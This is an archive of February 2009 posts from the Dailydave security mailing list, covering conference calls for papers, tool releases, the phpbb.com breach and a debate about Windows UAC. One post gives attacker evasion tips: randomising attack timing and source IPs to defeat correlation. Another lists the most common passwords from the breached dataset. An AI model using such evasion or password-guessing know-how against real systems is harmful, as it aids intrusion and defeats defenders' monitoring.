From sjg6 at gate.net Sun Feb 1 17:03:41 2009 From: sjg6 at gate.net (Steven J. Greenwald) Date: Sun, 01 Feb 2009 17:03:41 -0500 Subject: [Dailydave] Sunday sunday sunday! In-Reply-To: References: Message-ID: <49861C3D.4010304@gate.net> Hello all, I've never commented on this list before but have enjoyed lurking. I hate the Superbowl and football by the way. I recall going to a convenience store once during a Superbowl and expressing my non-interest and ignorance to the clerk who said, "Aren't you an American?" This really underscores Mr. Aitel's point. Regarding the really excellent point of the pair of dice, I recall (circa 2004) a friend/colleague working on her Ph.D. on IDS and her adviser (another colleague/friend) showing me a dataset of a real intrusion at an interesting place that they had sifted, manipulated, etc. (my feeling on IDS: I pity them, but good luck to them). Right away, just eyeballing the data I noticed that a PRNG got involved in terms of timing (my intuition paid off: a linear-congruential algorithm with a modulus of 2^16 - in fact, D.H. Lehmer's straight out of Knuth!). Sophisticated in the sense that it took its time (weeks) to run a period (I admire that), but pathetic in terms of the PRNG itself (an example of the right mindset at an amateur level I suppose, although my friends asserted a major government supported it). I thought that interesting, and they later confirmed its automated nature (and of course, a new, very easy, way to detect that stuff). Of course, for true finesse you could go the other way: use an old-fashioned PRNG (like linear-congruential) and make the other side underestimate you. :) --Steve Dave Aitel wrote: > If we were in Unethical Hacking class today I'd be pointing out that > tomorrow night is a good time to hack, because no "American" would be > hacking during the super bowl, surely! > > When you hack, it's always the same way on your end. You've got three > major windows. The top left is your plan of action (aka, a script). > The top right is output. The top middle is input (Get two screens!). > The bottom is network dump (ideally colorized but tcpdump -n will do > in a pinch, no?). But you never hack on a schedule. In this regards a > simple pair of dice can be your most powerful weapon against both > automated and manual correlation and analysis. Going active? Let the > dice pick when, and from which IP's you're attacking from. > > Of course, if it happens to be during the Super Bowl, so much the > better. It's called a Discipline for a reason. :> > > -dave > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > From dtangent at defcon.org Mon Feb 2 19:42:00 2009 From: dtangent at defcon.org (The Dark Tangent) Date: Mon, 2 Feb 2009 16:42:00 -0800 Subject: [Dailydave] For those: a collection In-Reply-To: <7F910286-B16E-43C3-AC5A-2543B4EC55EE@kyx.net> References: <497F9534.7090607@immunityinc.com> <7F910286-B16E-43C3-AC5A-2543B4EC55EE@kyx.net> Message-ID: <006801c98598$3c928bd0$b5b7a370$@org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 DR, All the 'Maid's cafes' I've been too are actually kina lame. Yes they are wearing maids outfits, or sexy little things, but all they want to do is take your pancake order and get you coffee. Please, if you find any caf? that is different, let me know. - -----Original Message----- From: dailydave-bounces at lists.immunitysec.com [mailto:dailydave-bounces at lists.immunitysec.com] On Behalf Of Dragos Ruiu Sent: Tuesday, January 27, 2009 5:19 PM Subject: Re: [Dailydave] For those: a collection Re: your trip to japan. Here is a nifty bit to pack if any of your group has an iPhone. A speech recognition Japanese/English language translator software from NEC: http://www.akihabaranews.com/en/news_details.php?id=17263 Also... if you are staying in/near Shinjuku, there is some Alice-meets- gothic-lolita Alice in Wonderland themed restaurant I've been meaning to check out (despite it being in Kabukicho): http://metropolis.co.jp/tokyo/769/restaurants.asp If you go, do send me reviews :). cheers, - --dr -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.9.1 (Build 287) Charset: iso-8859-1 wsBVAwUBSYeThQ6+AoIwjTCUAQja3Af/RfnfyKuv/7AFQHx6M+FNJHLXLMBojRVd KKvSGQTE3tiX/PoNzrmJYbv6MmMNzgeLsG8/GapcVctxtDnFjtUQuvyBoDyNaXod o85Klt5e/1cn3whdx35uDmdhheT4HWflKBvYTok3Y9wc0tGYBSIK+6ZGyIT8ru1+ DUK54Ej4tMML7sVBBmIlO9DMOncRhfHH6bJE0MJQP5fG41D/2usfHjeF5BKI4VZp MihVoxpZdylZYMJUmUf+7dDEICGacdq/FrhO9bm2aMi/tCYxtENN0Xf2AD89giOz jAlErIRIdF/xB8evy6xP0L5k5tQKmk6z8iT46U0UAoW7qDY2B8V3sA== =jWbJ -----END PGP SIGNATURE----- From iinuma at cyberdefense.jp Tue Feb 3 20:19:14 2009 From: iinuma at cyberdefense.jp (Jack Iinuma) Date: Wed, 04 Feb 2009 10:19:14 +0900 Subject: [Dailydave] For those: a collection In-Reply-To: <006801c98598$3c928bd0$b5b7a370$@org> References: <497F9534.7090607@immunityinc.com> <7F910286-B16E-43C3-AC5A-2543B4EC55EE@kyx.net> <006801c98598$3c928bd0$b5b7a370$@org> Message-ID: <4988ED12.6030500@cyberdefense.jp> DT, It depends on the cafe. We also have maid mahjong, maid ear-picking, maid dormitory and maid foot-stamping therapy in Akihabara. :) Jack The Dark Tangent wrote: > DR, > > All the 'Maid's cafes' I've been too are actually kina lame. Yes they are > wearing maids outfits, or sexy little things, but all they want to do is > take your pancake order and get you coffee. > > Please, if you find any caf? that is different, let me know. > > > > -----Original Message----- > From: dailydave-bounces at lists.immunitysec.com > [mailto:dailydave-bounces at lists.immunitysec.com] On Behalf Of Dragos Ruiu > Sent: Tuesday, January 27, 2009 5:19 PM > Subject: Re: [Dailydave] For those: a collection > > Re: your trip to japan. > > Here is a nifty bit to pack if any of your group has an iPhone. > A speech recognition Japanese/English language translator software > from NEC: > > http://www.akihabaranews.com/en/news_details.php?id=17263 > > Also... if you are staying in/near Shinjuku, there is some Alice-meets- > gothic-lolita > Alice in Wonderland themed restaurant I've been meaning to check out > (despite > it being in Kabukicho): > > http://metropolis.co.jp/tokyo/769/restaurants.asp > > If you go, do send me reviews :). > > cheers, > --dr > > > _______________________________________________ Dailydave mailing list Dailydave at lists.immunitysec.com http://lists.immunitysec.com/mailman/listinfo/dailydave From hmarti2 at umbc.edu Tue Feb 3 18:56:13 2009 From: hmarti2 at umbc.edu (hmarti2 at umbc.edu) Date: Tue, 3 Feb 2009 18:56:13 -0500 (EST) Subject: [Dailydave] cloud computing In-Reply-To: References: Message-ID: <56250.71.179.246.190.1233705373.squirrel@webmail.umbc.edu> Dave, et al., The wave of 'cloud', where programs 'float' and mover around within and without 'clouds' of data center environments to server farms to just any open pc (sue to common apps) is coming, if not here already, and security is a question mark... with 'commandos' and 'dirty dozen' types mounting the electronic 'castle walls'. You just have to ask yourself if you are ready form digital aiki-do, or do you intend to let digital banditry win the day and plunder your lands... Up to you all... I'm ready if you are..... Sanjuro From info at shakacon.org Tue Feb 3 21:10:22 2009 From: info at shakacon.org (Shakacon) Date: Tue, 3 Feb 2009 16:10:22 -1000 Subject: [Dailydave] REMINDER: ShakaCon 2009 Call for Papers and Trainers - Deadline February 15th Message-ID: <0DAB602EAD833D44B10F51A28F258A11F15A15@helix1.secure-dna.com> Aloha from Hawaii where it is currently 72 F / 22.2 C / 295.4 K. If it's colder where you're at you may want to consider submitting to speak at Shakacon - and yes, our conference is in June but the temperature only varies by about 10 degrees no matter what time of year it is. While we have received excellent submissions for speaking and training spots we still do have a few speaking slots available. We are also looking to select two keynote speakers so if you feel like a summer security vacation in Hawaii check us out - http://www.shakacon.org/2009CFP.html For those interested in registration details please contact info (a) shakacon.org. ############################### ShakaCon III Crew Hawaii: Home of Sun, Surf, and C Shells ############################### This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. E-mail transmission cannot be guaranteed to be secure or error-free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore does not accept liability for any errors or omissions in the contents of this message, which arise as a result of e-mail transmission. If verification is required please request a hard-copy version. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20090203/479bca67/attachment.htm From etd at nomejortu.com Wed Feb 4 05:15:13 2009 From: etd at nomejortu.com (etd) Date: Wed, 04 Feb 2009 10:15:13 +0000 Subject: [Dailydave] [tool] dradis v2.0 released In-Reply-To: <1233653334.4492.6.camel@love.wadhwa> References: <4982396B.7090803@nomejortu.com> <1233653251.4492.4.camel@love.wadhwa> <1233653334.4492.6.camel@love.wadhwa> Message-ID: <49896AB1.8070506@nomejortu.com> Hi, Thank you very much for your feedback. We are excited about getting this kind of input to guide the dradis development to a well tailored solution. In response to the points you rise: >> 1.Opening the client end ( console) and typing help doesn't have >> certain registered commands available in the previous version like >> add.Without this i feel the client end (console) is of no use. We have been refactoring the dradis client (i.e. keep adding the SOAP mixing again and again did not make sense! - see [i]). The truth is that as you say, the documentation is not that great, but the functionality is still there. We had a discussion on the mailing list [ii] a few weeks ago on the discrepancies of the evolution of the different interfaces. That is why the current console documentation is not completely updated. If you check the rdocs [iii] you will find the *missing* methods. I know it is not ideal, and I apologize for that, but we are already working on this for the next release. >> 2.the tools lacks in adequate documentation stating the directives >> available to be used in configuration files like server end >> configuration file databases.yml. You are right, we are assuming a certain degree of familiarity with the Ruby on Rails framework, but this does not have to be the case. The database.yml is a configuration file of the framework. By default uses Sqlite3 as a back-end database but many different DBs are supported. In the configuration section of the site [iv] you can find how to set up a MySQL connection and also information on other supported engines. I hope this all goes somewhere towards answering your questions. Please feel free to get back to us with any issues, also remember that can always join the project's mailing list at [v]. Regards, etd [i] http://sourceforge.net/mailarchive/forum.php?thread_name=492D7E10.7060709%40nomejortu.com&forum_name=dradis-devel [ii] http://sourceforge.net/mailarchive/forum.php?thread_name=E1Kzf43-0004Hq-2y%40arion.hosts.co.uk&forum_name=dradis-devel [iii] Core::Providers::DataStore::Provider: http://dradis.nomejortu.com/rdoc/ [iv] http://dradis.nomejortu.com/configure.html#configure [v] https://lists.sourceforge.net/lists/listinfo/dradis-devel love.wadhwa at naukri.com wrote: > On Tue, 2009-02-03 at 14:57 +0530, love.wadhwa at naukri.com wrote: >> Hi all >> >> Tried the new version of this.Had certain problems: >> >> 1.Opening the client end ( console) and typing help doesn't have certain >> registered commands available in the previous version like add.Without >> this i feel the client end (console) is of no use. >> >> 2.the tools lacks in adequate documentation stating the directives >> available to be used in configuration files like server end >> configuration file databases.yml. >> >> The earlier versions have the limitation of selected nodes available on server interface. >> >> Any one out there to help. >> >> >> On Fri, 2009-01-30 at 04:49 +0530, etd wrote: >>> What is dradis? >>> --------------------------------------------------- >>> - dradis is an open source tool for sharing information during security >>> assessments. >>> - It provides a centralized repository of information to keep track of >>> what has been done so far, and what is still ahead. >>> - Client/server architecture with a web interface >>> >>> Why should I care? >>> --------------------------------------------------- >>> - If your are in a lengthy engagement, having all the information in one >>> place will make things easier. Everyone is in the same page. >>> - If your team changes (i.e. someone joins half the way through), it >>> will be useful to bring them up to speed. >>> - It's flexible, you don't need to adapt your methodology to use it. >>> - Is provides a web service interface so you can connect it with your >>> existing vulnerability database or reporting tool. >>> >>> What does it look like? Where do I get more info.? >>> --------------------------------------------------- >>> - Flash demo: >>> http://dradis.nomejortu.com/videos/dradis2-01.html >>> >>> - Screenshots: >>> http://dradis.nomejortu.com/screenshots.html >>> >>> - Project info: >>> http://sourceforge.net/projects/dradis >>> http://freshmeat.net/projects/dradis >>> http://dradis.sourceforge.net/ >>> >>> - More info, changelog, features: >>> http://usefulfor.com/security/2009/01/30/dradis-v2 >>> >>> ------------------------------------------------------------------------- >>> Sponsored by: Watchfire >>> Methodologies & Tools for Web Application Security Assessment >>> With the rapid rise in the number and types of security threats, web application security assessments should be considered a crucial phase in the development of any web application. What methodology should be followed? What tools can accelerate the assessment process? Download this Whitepaper today! >>> >>> https://www.watchfire.com/securearea/whitepapers.aspx?id=70170000000940F >>> ------------------------------------------------------------------------- >>> From dave at immunityinc.com Wed Feb 4 13:56:55 2009 From: dave at immunityinc.com (Dave Aitel) Date: Wed, 04 Feb 2009 13:56:55 -0500 Subject: [Dailydave] "A bounds check on the exploitability index" (Bas Alberts) Message-ID: <4989E4F7.9080501@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Immunity's latest paper can be found here. http://www.microsoft.com/downloads/details.aspx?FamilyID=0c6e07b5-43ce-4da1-873e-2d604106574c To quote from the download page: """ Overview Launched in October 2008 by the Microsoft Security Response Center (MSRC), the Microsoft Exploitability Index is designed to provide additional information to help customers better prioritize the deployment of Microsoft security updates. This index provides customers with guidance on the likelihood of functioning exploit code being developed for vulnerabilities addressed by Microsoft security updates. So, just how valuable is such an exploitability index and how should it be used? To help answers these questions, Immunity, Inc., a well respected player in the vulnerability research community, has conducted a third-party analysis of the exploitability index and presented its case in the form of a white paper. """ - -dave -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJieT3tehAhL0gheoRAt8/AJ9sGLNs1ulHLcD4ynqu8VOfhIuiygCdHaz7 8hfRfsKwC+Pkm4xf+IORPVM= =gosS -----END PGP SIGNATURE----- From dave at immunityinc.com Wed Feb 4 14:06:53 2009 From: dave at immunityinc.com (Dave Aitel) Date: Wed, 04 Feb 2009 14:06:53 -0500 Subject: [Dailydave] Immunity Announces MOSDEF 2.0 Release Message-ID: <4989E74D.90700@immunityinc.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Download it here: http://www.immunityinc.com/resources-freesoftware.shtml Or, for the README: http://www.immunityinc.com/downloads/MOSDEF2.0.pdf This is the version of MOSDEF included in the most recent CANVAS release. It features a number of improvements and cool features. It's based on a modified Python-Lex-Yacc that supports multi-threading and has speed optimizations. It includes essentially an entire pure-Python C-like compiler chain, from source code and a mini-libc to emitting a working ELF binary. It's released under the LGPL. Thanks, Dave Aitel Immunity, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJiedMtehAhL0gheoRAlc+AJ9W6faO/3w5oRGonR1JyVJGlC5x4ACePrIa 4s0UNxJXe/zLWkIyDQMdX+w= =feVA -----END PGP SIGNATURE----- From dave.aitel at gmail.com Wed Feb 4 19:14:51 2009 From: dave.aitel at gmail.com (Dave Aitel) Date: Wed, 4 Feb 2009 19:14:51 -0500 Subject: [Dailydave] phpbb.com hacked... Message-ID: An interesting post on how a real site got hacked. You rarely see this level of detail. http://hackedphpbb.blogspot.com/ -dave (kudos to Ryan Naraine for pointing this link out!) From brennan at gmtech.com Fri Feb 6 16:01:55 2009 From: brennan at gmtech.com (Brennan) Date: Fri, 6 Feb 2009 13:01:55 -0800 Subject: [Dailydave] CALL FOR PAPERS HAR2009 Message-ID: CALL FOR PAPERS HAR2009 Hacking At Random, International Technology & Security Conference August 13-16, 2009, near Vierhouten, The Netherlands >From the ancient days long before the first wayback-machine snapshot, hackers have a track record for appropriating technology that was meant for something completely different and putting it to alternative uses. And every four years since 1989, the international hacker community has descended upon The Netherlands in great numbers for a conference that focuses on contemporary and future issues surrounding technology and its social and political consequences. One reason that these conferences have been successful is the wide range of participants: from students, amateurs and aficionados to researchers, scientists and entrepreneurs who are recognized as some of the best in their respective fields. The atmosphere is open, friendly and relaxed, the scope of subjects insanely wide, the average level of knowledge high. The venue is always buzzing with energy, ideas and projects. The New York Times described the 1997 edition as 'Woodstock for Hackers'. We will gladly honor that legacy. This year we celebrate the 20th anniversary of this event with a new installment: 'Hacking at Random'. HAR wants to offer presentations that feature the joy of hacking. That means hardcore hacking and science for its own sake. HAR is soliciting abstracts from anybody who is interested in giving a talk, in doing a workshop or in otherwise presenting their work. When this series of conferences started twenty years ago, the net was new and unexplored terrain where only the bold dared to tread, and where legislation and regulation were absent. That has changed. Today, virtually every household in the Western world has access and many analogue services are being relocated to the internet, reinventing themselves while doing so, and thereby simultaneously making internet even more of a commodity and an indispensable part of our daily lives. Internet has become ubiquitous, all pervasive, huge and crowded. Because of this, new questions are becoming increasingly important: questions about governance, sustainability, dying analogue media, ownership of data and content, shortage of IP space and energy, censorship, filtering, data trails, data breaches, security, surveillance - to mention but a few. As the world is more and more defined in terms of the technology of the internet, the once obscure political freedom-fights that hackers were involved in, have truly reached center stage. The next few years are about defending fundamental freedoms, and we better step to it, because nobody is going to do it for us. TOPICS AND TRACKS We have chosen three main tracks for HAR: subjects that we think are of prime (future) importance. Of course, not all talks and workshops can be fitted within these tracks, nor is that our intention. If you have an unrelated but interesting project, don't hesitate to propose it. Actually, the only thing we'll really be strict in is that _all_ talks and workshops should definitely be interesting and knowledgeable, hopefully be groundbreaking, and possibly, fun. We want to broaden your and our own horizons, so not many restrictions apply - not even our own. And it goes without saying that any other smart weird stuff is fine, provided it makes us go 'wow!' That having been said, the three tracks that we have chosen are: 1. Dealing with data (DD) We live in a society that gorges itself on data. We check and intercept more data and retain them for a longer period, we base individual interventions on statistics, we amass data in centralized, national databases, and more and more, we 'mislay' these data and create data breaches. Often, data is used outside its original scope: the 11 million files that the Brits have by now amassed on their children in order to 'assist' child welfare, will be open to the police looking for 'evidence'. Some courts are however getting fed up. Germany has decided that home computers are indeed private and that the EU data retention law is far too wide in its scope: only when there's actual suspicion against a person his or her traffic data may be retained. The European court has ruled that the Brits - and hence, other EU countries - cannot keep people's DNA in a database unless they have been convicted. In this track, we will discuss cutting edge security aspects as well as their political implications: whose property is a digital trace, should data have a built-in expiry date, how to counteract identity theft, ideas about 'data hygiene' and how we can make governmental and company data mining more transparent or more restrained. This track ranges from computer security to hacking 'safe' chip cards, from data mining to data breaches, from lawful to unlawful interception, from amassing data to data retention, from freakonomics to numerati. 2. Decentralization (DeCent) Since the dawn of the industrial revolution, most technologies have been moving towards centralization using economies of scale to create profits. The result of large centralized technologies has been concentrated power in the hands of fewer individuals with control over large amounts of cash to pay for expensive factories and infrastructure. Modern organizations like nation-states and multinationals mimic this centralization trend. Many new technologies however are moving in the opposite direction. Cheap home computers and affordable connectivity to a global (but decentralized) network have made individuals and communities the center of creativity again. Other fields of technology that are decentralizing are energy and manufacturing (think solar and 3d-printing). We'd like to hear cool ideas about what this could mean for all of us and for the societies that we live in. Are 200 euro laptops, wifi and 3d-printers the beginning of the end of multinationals and the nation state? Does the spreading of technology give power to the people, atom bombs to the terrorists, or both? We don't know what will happen but maybe you do. If so, we'd like to hear from you. If you have a 3d-printer, a solar powered vehicle or a fusion-powered coffee machine, we'd like you to show your stuff and tell your tale. You will however be asked to leave your nuclear weapons at the entrance. 3. People and politics (PNP) We live in the proverbial 'interesting times' the world is running out of oil, the climate's all weird, geopolitical power is shifting and decentralization has taken off the gloves. We'd like to think our community holds some small part of the clues needed to understand today's world. Hackers have traditionally used these events to help others to become better equipped to go out and make some changes in the way the world works. This event has in the past had a large number of presentations that bridged between technology, activism, digital rights, privacy, politics and citizenship, and this edition will be no different. If your presentation can help others to become more aware or (better) more equipped and more effective in these fields, please tell us. Again, these ideas are by no means restrictive. If you have a fantastic story to share about agriculture in Sub-Saharan Africa, about nanocomputing or about biotechnology, please submit your paper. Bear in mind that those attending HAR are technophiles and love talks in which technology - or the politics of technology - is key. Also, if you know of someone whom you think should be present at HAR2009, ask them to submit an abstract, or inform us of their name and subject. DEADLINES Abstracts should be submitted to our paper submission system on https://pentabarf.har2009.org/submission/HAR2009 and are due May 1st, 2009. We will inform you about our acceptance or rejection of your abstract before June 1st, 2009. General information about HAR2009 can be found on http://www.har2009.org and http://wiki.har2009.org. If you have further questions regarding your talk submissions; the speakerdesk can be reached at speakerdesk at har2009.org With kind regards, The Hacking At Random 2009 Program Committee, Thomas Dullien Rop Gonggrijp Menso Heus Alex Le Heux Peter Honeyman Arjen Kamphuis Karin Spaink Stephanie Wehner Jasper van Woudenberg From robert_david_graham at yahoo.com Fri Feb 6 18:12:23 2009 From: robert_david_graham at yahoo.com (Robert Graham) Date: Fri, 6 Feb 2009 15:12:23 -0800 (PST) Subject: [Dailydave] phpbb.com hacked... In-Reply-To: Message-ID: <162070.4491.qm@web51010.mail.re2.yahoo.com> I ran the passwords through an analysis program to gather statistics on them. I posted a summary of the results here: http://www.darkreading.com/blog/archives/2009/02/phpbb_password.html 35% of passwords are 6-characters. Here is the top 20 list: Here is the top 20 passwords from the phpbb dataset: 3.03% "123456" 2.13% "password" 1.45% "phpbb" 0.91% "qwerty" 0.82% "12345" 0.59% "12345678" 0.58% "letmein" 0.53% "1234" 0.50% "test" 0.43% "123" 0.36% "trustno1" 0.33% "dragon" 0.31% "abc123" 0.31% "123456789" 0.31% "111111" 0.30% "hello" 0.30% "monkey" 0.28% "master" 0.22% "killer" 0.22% "123123" Why are "dragon", "master", and "killer" so popular? Since the phpbb dataset includes e-mail addresses, I'm thinking of e-mailing the people and ask them why they chose that particular password. Likewise, while I know that "trustno1" was a password used in the X-Files, I forget where "letmein" and "monkey" come from (I know they were used in movies/tv, I just forget which ones). --- On Wed, 2/4/09, Dave Aitel wrote: > From: Dave Aitel > Subject: [Dailydave] phpbb.com hacked... > To: "dailydave" > Date: Wednesday, February 4, 2009, 4:14 PM > An interesting post on how a real site got hacked. You > rarely see this > level of detail. > > http://hackedphpbb.blogspot.com/ > > -dave > (kudos to Ryan Naraine for pointing this link out!) > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave From robert_david_graham at yahoo.com Sat Feb 7 14:16:03 2009 From: robert_david_graham at yahoo.com (Robert Graham) Date: Sat, 7 Feb 2009 11:16:03 -0800 (PST) Subject: [Dailydave] phpbb.com hacked... In-Reply-To: <6BFE3E48-A642-44B4-812C-FCA4AAB15F33@robertlemos.com> Message-ID: <560641.94024.qm@web51009.mail.re2.yahoo.com> Oh, yea, there are lots of problems with the dataset, that's just one potential problem. My analysis should be viewed as one datapoint in the field of password analysis rather than an authoritative assessment of all passwords. The passwords come with user information. That information looks what I expect from legitimate users rather than what I see as spammers on PHPbb style forums. Thus, the numbers may be skewed by spammers, but I think it largely reflects normal users. --- On Sat, 2/7/09, Robert Lemos wrote: > From: Robert Lemos > Subject: Re: [Dailydave] phpbb.com hacked... > To: robert_david_graham at yahoo.com > Cc: "dailydave" , "Dave Aitel" > Date: Saturday, February 7, 2009, 4:41 AM > Did you take into account that about half the accounts > appeared to be spammers, according to the post by the guy > who hacked the site? (He found 400,000 accounts, but there > are only 200,000 members.) > > So, in fact, the 28,000 passwords he decrypted may only be > spam accounts, or a significant fraction of them are, which > could be the reason your results are skewed toward simple > passwords. Just an alternative explanation... > > -R > > On Feb 6, 2009, at 6:12 PM, Robert Graham wrote: > > > > > I ran the passwords through an analysis program to > gather statistics on them. I posted a summary of the results > here: > > > http://www.darkreading.com/blog/archives/2009/02/phpbb_password.html > > > > 35% of passwords are 6-characters. Here is the top 20 > list: > > > > Here is the top 20 passwords from the phpbb dataset: > > 3.03% "123456" > > 2.13% "password" > > 1.45% "phpbb" > > 0.91% "qwerty" > > 0.82% "12345" > > 0.59% "12345678" > > 0.58% "letmein" > > 0.53% "1234" > > 0.50% "test" > > 0.43% "123" > > 0.36% "trustno1" > > 0.33% "dragon" > > 0.31% "abc123" > > 0.31% "123456789" > > 0.31% "111111" > > 0.30% "hello" > > 0.30% "monkey" > > 0.28% "master" > > 0.22% "killer" > > 0.22% "123123" > > > > Why are "dragon", "master", and > "killer" so popular? Since the phpbb dataset > includes e-mail addresses, I'm thinking of e-mailing the > people and ask them why they chose that particular password. > Likewise, while I know that "trustno1" was a > password used in the X-Files, I forget where > "letmein" and "monkey" come from (I know > they were used in movies/tv, I just forget which ones). > > | robert lemos | mail at robertlemos.com | > | science & technology journalist | > | http://www.robertlemos.com | From thomas at coseinc.com Sun Feb 8 12:48:00 2009 From: thomas at coseinc.com (Thomas Lim) Date: Mon, 09 Feb 2009 01:48:00 +0800 Subject: [Dailydave] COSEINC Security Classes April - June 2009 Message-ID: <498F1AD0.4020808@coseinc.com> dear all COSEINC will be conducting a series of 6 security classes from April to June, 2009. All attendees will enjoy 20% discount for all 4 SyScan'09 conferences. See below/attached for more details of the classes. -- Thank you Thomas Lim COSEINC Private Limited -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20090209/25224ddc/attachment-0001.html From davek_throwaway at hotmail.com Sat Feb 14 10:11:34 2009 From: davek_throwaway at hotmail.com (Dave Korn) Date: Sat, 14 Feb 2009 15:11:34 +0000 Subject: [Dailydave] So, the security industry has given up on the principles of least privilege and separation? Message-ID: There's a story from yesterday on ElReg, following up the ongoing issue with UAC in the win7 betas. The exploit itself (not well explained in the article, but amply illustrated by the OPs referenced there) is interesting, as much from a political point of view (it appears to be a blatantly anti-competitive attempt to give MS' apps an advantage over all others in the ability to present a smooth and pleasant user experience uninterrupted by UAC popups) as from a technical one, but the thing that boggled me was a quote from Secunia: ---------------------------------------- Thomas Kristensen, CTO at security notification firm Secunia, explained "This isn't a major issue; after all it requires that the user already downloaded some executable code and decided to run it. No matter which security features have been built into the operating system, then the user should never run code, which they don't trust in the first place. Untrusted code should only be run on dedicated test systems." [ ... ] "UAC should only be considered an extra security feature, which will remind users that the code they run potentially could harm their systems - it is not meant as a guarantee against code's ability to harm a system," Secunia's Kristensen added. ---------------------------------------- That made me snort into my breakfast cereals, I can tell you. Has the entire security industry abandoned all hope of using the principle of least privilege and limited user accounts, or just him? It's been said time and again that actually having your users running under limited user accounts is in practice a very effective measure against an awful lot of malware, breaking a lot of its mechanisms for self-propagation, installation and infection. Is that no longer the case or was it never was? Was least privilege only ever a mechanism to prevent an accidental "rm -rf *" from running away too far? It's easy to say that the user must never get "untrusted" software on there machine, but that don't help Joe Sixpack much; how's he supposed to "trust" an impenetrable blob of binary? He's not a reverse engineer, and can't be expected to be; so isn't it a good idea that there should be a way for him to run processes in a constrained fashion that won't give them the ability to modify the system? Perhaps there always going to be loopholes in any such restricted-user account, maybe not; even so, would that make it worthless in day-to-day use? I was surprised, anyway. I thought (unauthorised) privilege escalation was an exploit and desirable to prevent; I didn't expect a security commentator to describe it as just one of the things you should expect from life as routine. Why did we spend all those years berating MS for installing everything with admin rights by default, if it was fine all along? Why doesn't everyone just give all there *nix users root, if it doesn't matter? cheers, DaveK -- [*] - http://www.theregister.co.uk/2009/02/13/win7_uac_attack_demo/ From lcamtuf at coredump.cx Sat Feb 14 15:04:28 2009 From: lcamtuf at coredump.cx (Michal Zalewski) Date: Sat, 14 Feb 2009 21:04:28 +0100 Subject: [Dailydave] So, the security industry has given up on the principles of least privilege and separation? In-Reply-To: References: Message-ID: <448e9a320902141204k59ba155dh166409e319f11b46@mail.gmail.com> > That made me snort into my breakfast cereals, I can tell you. Has the > entire security industry abandoned all hope of using the principle of least > privilege and limited user accounts, or just him? Secunia is talking about reality, not hopes and dreams. In reality, the industry came up with three specific options: 1) "Limited" user accounts - which does not really add an appreciable value in this context: "hey, so, your bank account is owned and mail stolen, and your user account backdoored, but at least you *maybe* do not have to scrape the entire box (no promises!)". 2) Sandboxed / ACLed processes - which is slightly better, but still pretty sucky when dealing with complex, monolithic software: "yo dude, so we restricted your mail client only to do the things it is supposed to do, that is, reading and writing local files, communicating with the network and changing network settings, and of course sending your passwords and reading back your mail; you happy now?". 3) Invisible unicorns - that is, proposals to rework all software to compartmentalize privileges, then ensure robust cross-component control flow supervision and policing. Yeah, great, but also extremely unlikely to be feasible in most contexts, unless you also find out a method to convince software vendors to follow your vision and foot the bill for significant overhead. So I'm not sure what makes Secunia statement outrageous, or what specific, feasible hopes we decided to give up on? /mz From joanna at invisiblethingslab.com Sat Feb 14 15:42:01 2009 From: joanna at invisiblethingslab.com (Joanna Rutkowska) Date: Sat, 14 Feb 2009 21:42:01 +0100 Subject: [Dailydave] So, the security industry has given up on the principles of least privilege and separation? In-Reply-To: References: Message-ID: <49972C99.9070600@invisiblethingslab.com> Dave Korn wrote: > "UAC should only be considered an extra security feature, which will remind > users that the code they run potentially could harm their systems - it is not > meant as a guarantee against code's ability to harm a system," Secunia's > Kristensen added. > ---------------------------------------- > Heh ;) That rings a bell ;) > That made me snort into my breakfast cereals, I can tell you. Has the > entire security industry abandoned all hope of using the principle of least > privilege and limited user accounts, or just him? It seems so. Why otherwise everybody would be getting so excited about yet-another-remote-bug-in-IE/Firefox/Safari? Why would the Flash/QT/etc exploits be worth tens of thousand of $ on the black market? Least privilege, seems to be a rocket science for the majority of population. Sadly, this seems to include the ITSec community as well. I wish more people make comments like Dave. Cheers, joanna. "Give less shit about browser bugs -- run them in VMs!" (The 's' is important) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 226 bytes Desc: OpenPGP digital signature Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20090214/e535982c/attachment.pgp From dtangent at defcon.org Sat Feb 14 23:46:53 2009 From: dtangent at defcon.org (The Dark Tangent) Date: Sat, 14 Feb 2009 20:46:53 -0800 Subject: [Dailydave] DEFCON 17 CFP now open Message-ID: <000201c98f28$73377d50$59a677f0$@org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 xxxxxxxxxxxxxxxxxx xxx xx x xx DEF CON 17, Las Vegas 2009 xxxxxxxXXXXxxxxxxxxxxxxx xx x x July 31st - August 2nd xxxxxxXXXXXXxxxxx x x x The Rivera Hotel and Casino xxxxxXXXXXXXXxxxxx xx x x Las Vegas, Nevada, USA xxxxXXXXXXXXXXxxx x xxxxxxxx x https://www.defcon.org/ xxxXXXXXXXXXXXXxxxxxxxxxx x xxXXXXXXXXXXXXXXxxxxxx xx x Call for Papers Call for Papers xxxXXXXXXXXXXXXxxxxxxxx Call for Papers Call for Papers xxxxXXXXXXXXXXxxxxxxxx x x xx Call for Papers Call for Papers xxxxxXXXXXXXXxxxxxxx xxx xx x Call for Papers Call for Papers xxxxxxXXXXXXxxxxxxx x x x Call for Papers Call for Papers xxxxxxxXXXXxxxxxxxxxxx xx x x Call for Papers Call for Papers 